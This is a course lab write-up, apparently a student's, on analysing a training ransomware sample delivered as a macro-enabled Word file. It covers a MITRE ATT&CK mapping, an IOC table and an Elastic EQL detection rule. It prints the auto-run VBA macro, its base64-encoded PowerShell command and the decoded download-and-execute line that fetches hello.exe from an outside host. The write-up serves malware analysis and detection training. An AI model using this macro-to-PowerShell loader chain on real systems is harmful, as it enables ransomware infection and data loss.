{"id":1529,"date":"2021-06-28T09:47:04","date_gmt":"2021-06-28T09:47:04","guid":{"rendered":"https:\/\/cas.cybercop-training.ch\/?page_id=1529"},"modified":"2021-06-28T11:11:24","modified_gmt":"2021-06-28T11:11:24","slug":"lab-2-ransomware","status":"publish","type":"page","link":"https:\/\/cas.cybercop-training.ch\/index.php\/lab-2-ransomware\/","title":{"rendered":"LAB 2 (Ransomware)"},"content":{"rendered":"<h2>1. Introduction<\/h2>\n<blockquote><p>In this lab we will download and execute a weaponized Word file. In order to analyze it and create a generic monitoring\/detection rule.<\/p><\/blockquote>\n<p>As solution please supply:<\/p>\n<ul>\n<li>A link of your sandbox submissions (sandbox is free of choice, e.g. Joe Sandbox, Any.Run)<\/li>\n<li>Ransomware Behavior MITRE ATT&amp;CK Mapping (please provide at least 4 TTPs)<\/li>\n<li>The IOC table &#8211; it should contain at least 4 different IOC<\/li>\n<li>Your optimized idea for a hunt (e.g. what else is the Ransomware doing, can we also hunt for that?<\/li>\n<\/ul>\n<h2>2. Download Files<\/h2>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">cd $env:USERPROFILE\/Desktop\r\nmkdir test\r\ncd test\r\nInvoke-WebRequest -Uri \"https:\/\/file-examples-com.github.io\/uploads\/2017\/02\/zip_10MB.zip\" -OutFile \"zip_10MB.zip\"\r\n7z x .\\zip_10MB.zip\r\ncd $env:USERPROFILE\/Desktop\r\nInvoke-WebRequest -Uri \"https:\/\/www.notmalicious.services\/invoice-Amazon.docm\" -OutFile \"amaz0n-inv0ice.docm\"<\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/ransom01.png\" alt=\"\" \/><\/p>\n<p>Let&#8217;s execute the ransomware and check the timeline in elasticsearch:<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/ransom02.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/ransom03.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/ransom04.png\" alt=\"\" \/><\/p>\n<p>Seems that the &#8222;Fake Ransomware&#8220; could not do it&#8217;s job in my &#8222;Commando&#8220; Windows VM.<br \/>\nAn exe file were dropped to the client, but the sample files weren&#8217;t encrypted.<\/p>\n<p>I&#8217;ll setup a new Windows 10 VM and try it again.<\/p>\n<p>Note:<\/p>\n<hr \/>\n<blockquote><p>The ransomware runs slow on purpose (1. to trick sandboxes, 2. so we can see what is happening). After a lot of windows are opened, the process should be finished:<\/p><\/blockquote>\n<hr \/>\n<p>MY second try worked. The sample files are encrypted and I can see the ransom note:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">===============================\r\nThis PC has been infected by OST-Crypt\r\n===============================\r\n\r\nAll yer precious filezz are gone now ;)\r\nNo worries for just 300$ you can have them back...\r\n\r\nTo decode contact: ransom@notexistant.to\r\n\r\n===============================\r\n===============================\r\njust kidding: password is \"abcd\"\r\nrun binary with: .\/hello.exe -decrypt to decrypt<\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/ransom05.png\" alt=\"\" \/><\/p>\n<h2>3. Sandbox reports<\/h2>\n<p>From virus total there are allready several reports linked:<\/p>\n<p>Joes Sandbox:<\/p>\n<p><a href=\"https:\/\/www.joesandbox.com\/analysis\/436693\/0\/html\">https:\/\/www.joesandbox.com\/analysis\/436693\/0\/html<\/a><\/p>\n<p>VMRAY:<\/p>\n<p><a href=\"https:\/\/www.vmray.com\/analyses\/af0b0b781915\">https:\/\/www.vmray.com\/analyses\/af0b0b781915<\/a><\/p>\n<p>Hybrid Analysis:<\/p>\n<p><a href=\"https:\/\/www.hybrid-analysis.com\/sample\/\">https:\/\/www.hybrid-analysis.com\/sample\/<\/a><\/p>\n<h2>4. Ransomware Behavior (Mitre Attack Framework)<\/h2>\n<table>\n<thead>\n<tr>\n<th>Attack ID<\/th>\n<th>Tactics<\/th>\n<th>Description<\/th>\n<th>Observed Commands<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>T1086<\/td>\n<td>Execution<\/td>\n<td>Executes powershell requesting to bypass execution policy<\/td>\n<td>[1]<\/td>\n<\/tr>\n<tr>\n<td>T1086<\/td>\n<td>Execution<\/td>\n<td>Uses Powershell with encoded commandline<\/td>\n<td>[2]<\/td>\n<\/tr>\n<tr>\n<td>T1137<\/td>\n<td>Persistence<\/td>\n<td>Contains embedded VBA macros with keywords that indicate auto-execute behavior<\/td>\n<td>[3]<\/td>\n<\/tr>\n<tr>\n<td>T1055<\/td>\n<td>Privilege Escalation<\/td>\n<td>Writes data to a remote process<\/td>\n<td>[4]<\/td>\n<\/tr>\n<tr>\n<td>T1112<\/td>\n<td>Defense Evasion<\/td>\n<td>Removes Office resiliency keys (often used to avoid problems opening documents)<\/td>\n<td>[5]<\/td>\n<\/tr>\n<tr>\n<td>T1179<\/td>\n<td>Credential Access<\/td>\n<td>Hooks API Calls<\/td>\n<td>[6]<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>*For more TTPs please visit one of the sandbox reports<\/p>\n<p>Observed Commands:<br \/>\n[1,2] Powershell<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"powershell\">powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA<\/pre>\n<p>[3] Macro Code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"visualbasic\">Private Sub Document_Open()\r\n  MsgBox \"game over\", vbOKOnly, \"game over\"\r\n  a = Shell(\"powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA\")\r\nEnd Sub\r\n---\r\nAttribute VB_Name = \"ThisDocument\"\r\nAttribute VB_Base = \"1Normal.ThisDocument\"\r\nAttribute VB_GlobalNameSpace = False\r\nAttribute VB_Creatable = False\r\nAttribute VB_PredeclaredId = True\r\nAttribute VB_Exposed = True\r\nAttribute VB_TemplateDerived = True\r\nAttribute VB_Customizable = True\r\nPrivate Sub Document_Open()\r\n  MsgBox \"game over\", vbOKOnly, \"game over\"\r\n  a = Shell(\"powershell.exe -exec bypass -enc YwBkACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQAvAEQAZQBzAGsAdABvAHAADQAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AbwB0AG0AYQBsAGkAYwBpAG8AdQBzAC4AcwBlAHIAdgBpAGMAZQBzAC8AaABlAGwAbABvAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAaABlAGwAbABvAC4AZQB4AGUAIgAgAA0ACgAuAC8AaABlAGwAbABvAC4AZQB4AGUA\")\r\nEnd Sub\r\n' InQuest injected base64 decoded content below this line ------\r\n' cd $env:USERPROFILE\/Desktop\r\n' Invoke-WebRequest -Uri \"https:\/\/www.notmalicious.services\/hello.exe\" -OutFile \"hello.exe\" \r\n' .\/hello.exe<\/pre>\n<p>[4] API Call<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"WINWORD.EXE\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 292)\r\n\"WINWORD.EXE\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 292)\r\n\"WINWORD.EXE\" wrote 8 bytes to a remote process \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 292)<\/pre>\n<p>[5] Registry Access<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"$W;\")\r\n\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"IX;\")\r\n\"WINWORD.EXE\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\"; Key: \"!U;\")\r\n\"WINWORD.EXE\" (Access type: \"DELETE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\")<\/pre>\n<p>[6] Hook API Calls<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">\"SysAllocStringByteLen@OLEAUT32.DLL\" in \"WINWORD.EXE\"\r\n\"VariantClear@OLEAUT32.DLL\" in \"WINWORD.EXE\"\r\n\"SysFreeString@OLEAUT32.DLL\" in \"WINWORD.EXE\"\r\n\"VariantChangeType@OLEAUT32.DLL\" in \"WINWORD.EXE\"\r\n\"OleLoadFromStream@OLE32.DLL\" in \"WINWORD.EXE\"<\/pre>\n<h2>5. IOC Table<\/h2>\n<table>\n<thead>\n<tr>\n<th>IOC<\/th>\n<th>Type<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>69d1c11ae24884ea55ab39787853ad0c<\/td>\n<td>HASH<\/td>\n<td>MD5 hash of dropped file &#8222;hello.exe&#8220;<\/td>\n<\/tr>\n<tr>\n<td>hello.exe<\/td>\n<td>Filename<\/td>\n<td>Dropped Ransomware Crypter<\/td>\n<\/tr>\n<tr>\n<td>ransomnote.txt<\/td>\n<td>Filename<\/td>\n<td>Ransomnote on Desktop<\/td>\n<\/tr>\n<tr>\n<td>vbaProject.bin<\/td>\n<td>Filename<\/td>\n<td>Embedded VBA File<\/td>\n<\/tr>\n<tr>\n<td>powershell.exe<\/td>\n<td>Process<\/td>\n<td>powershell.exe -exec bypass -enc<\/td>\n<\/tr>\n<tr>\n<td>www.notmalicious.services<\/td>\n<td>Domain<\/td>\n<td>Contacted Domain<\/td>\n<\/tr>\n<tr>\n<td>213.160.73.234<\/td>\n<td>IP<\/td>\n<td>Contacted IP Adress<\/td>\n<\/tr>\n<tr>\n<td>ransom.jpg<\/td>\n<td>Filename<\/td>\n<td>Dropped JPG Picture<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/graph01.png\" alt=\"\" \/><\/p>\n<h2>6. HUNT IOC<\/h2>\n<p>Before writing a EQL Rule, I&#8217;ll pay 300 bucks to restore my files ;p<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/decrypt01-1.png\" alt=\"\" \/><\/p>\n<p>In Kibana I&#8217;ll go to <code>Security --&gt; Detections --&gt; Manage Rules<\/code> and Create a new Rule<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/eql01.png\" alt=\"\" \/><\/p>\n<p>The preview shows allready my detection and it seems that it works. Finally I&#8217;ll save the rule.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">sequence with maxspan=10m\r\n [ process where process.parent.name:(\"Winword.exe\",\"powershell.exe\") and process.code_signature.trusted == false]\r\n [ file where event.type in (\"change\",\"deletion\",\"creation\") and file.extension:(\"jpg\",\"docx\",\"zip\")]\r\n [ file where stringContains(file.name,\"ost\")]<\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cas.cybercop-training.ch\/wp-content\/uploads\/2021\/06\/eql02.png\" alt=\"\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>1. Introduction In this lab we will download and execute a weaponized Word file. In order to analyze it and create a generic monitoring\/detection rule. As solution please supply: A link of your sandbox submissions (sandbox is free of choice, e.g. Joe Sandbox, Any.Run) Ransomware Behavior MITRE ATT&amp;CK Mapping (please provide at least 4 TTPs) [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-1529","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/1529","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/comments?post=1529"}],"version-history":[{"count":3,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/1529\/revisions"}],"predecessor-version":[{"id":1555,"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/pages\/1529\/revisions\/1555"}],"wp:attachment":[{"href":"https:\/\/cas.cybercop-training.ch\/index.php\/wp-json\/wp\/v2\/media?parent=1529"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}